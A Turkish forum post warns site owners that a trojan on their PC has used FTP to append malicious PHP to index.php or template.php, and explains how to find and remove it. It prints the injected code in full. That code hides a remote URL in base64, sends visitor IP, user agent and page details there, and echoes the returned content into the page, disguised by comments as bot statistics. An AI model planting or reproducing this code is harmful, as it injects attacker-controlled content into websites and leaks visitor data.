Merhaba Arkadaşlar
index.php veya template.php sayfasını ftp'den yeniden atın. Bunun sebebi index.php veya template.php dosyasına yapışan bir virüs.
Ama geldiği yer sizin bilgisayarınız zira bilgisayarınızda trojan mevcut ve ftp'nizi kullanarak index.php ve template.php dosyanıza
yerleşmiş. Bu yüzden şöyle bir hata alıyor olabilirsiniz " Notice: Uninitialized string offset: 0 in " şeklinde...
Önce bilgisayarınızı temizleyin, sonra sitenizin index.php veya template.php dosyasını yenileyin.
Sitenizi açan kişiler bilgisayarlarında olan virüs programları tarafından sitenizin virüslü olduğu uyarısı alırlar ve bir süre sonra sitenize
google botları gelmez olur. Kara listeye girersiniz.
Kimi sitelerde admin 'de bulunan index.php sayfasının altına da bulaşıyor bu kod.
Eğer index.php dosyanızda böyle bir kod yok ise şu dizinde ki template.php dosyasını kontrol etmeniz gerekiyor;
system/library/template.php bu dizin içerisinde ki template.php dosyasının en alt kısmını kontrol edebilir ve aşağıda ki kodlar ile
uyuşuyorsa başlangıç ve bitişten itibaren silmeniz gerekiyor.
index.php veya template.php dosyanızın altına yerleşen kod şu şekilde;
Alıntı;
PHP Kod:
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent,
'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') ==
false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2JvdHN0YXRpc3RpY3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).
'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>